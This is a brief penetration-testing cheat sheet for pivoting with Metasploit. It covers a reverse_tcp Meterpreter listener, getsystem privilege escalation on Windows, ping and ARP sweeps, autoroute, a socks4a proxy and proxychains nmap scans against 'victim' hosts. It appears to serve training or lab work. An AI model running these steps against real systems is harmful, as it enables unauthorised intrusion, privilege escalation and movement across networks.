Pivoting_Cheatsheet

Using Metasploit to listen:

```
msf > use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <Local Host IP>
set LPORT <Local Port>
exploit
```

Windows Privilege Escalation:
To gain privilege in a Windows system, execute the following commands and you should gain NT Authority / SYSTEM in the victim's machine.

```
1- getuid
2- getsystem
3- getuid
```

To find Live Hosts:
To find live hosts we can execute one of the following commands below:

```
- ifconfig
- netstat -anu
- route list
```

More Enumeration on the network we accessed:
You can run the following command inside the meterpreter you've gained to enumerate the network.

1st way to enumerate:

```
run post/multi/gather/ping_sweep rhosts= <Victim IP>
```

2nd way to enumerate:

```
1. use post/windows/gather/arp_scanner
2. set session 2
3. set rhosts <Victim IP>/24
4. run
5. sessions
```

To start pivoting across networks

```
run autoroute -s <victim IP/24>
```

Verifying:
We run the following command to make sure that the Network IP is added to the route table.

```
run autoroute -p
```

Socks4a protocol:

We will use Socks4a protocol to start the server, type the following commands inside the Metasploit framework.

```
1- search socks4a
2- use auxiliary/server/socks4a
3- options
4- set SRVPort --> <Local Port> --> should be the same port you typed in the /etc/proxychains4.conf file.
5- set Version --> <4a>
6- Leave SRVHost to default settings which should be 0.0.0.0
7- Type exploit to start the server
```

```
proxychains nmap --top-ports <Ports> <Victim IP>

- In the ports area, you can specifiy the ports you want searched via nmap, for example (20,21,22,80,139,445)

- In the Victim IP area, you can add an IP range, for example (10.10.10.1,2,3,4,5) or (10.10.10.1-20).
```

Asalah Mohammed Alosaimi
Abdullah Faris Alghamdi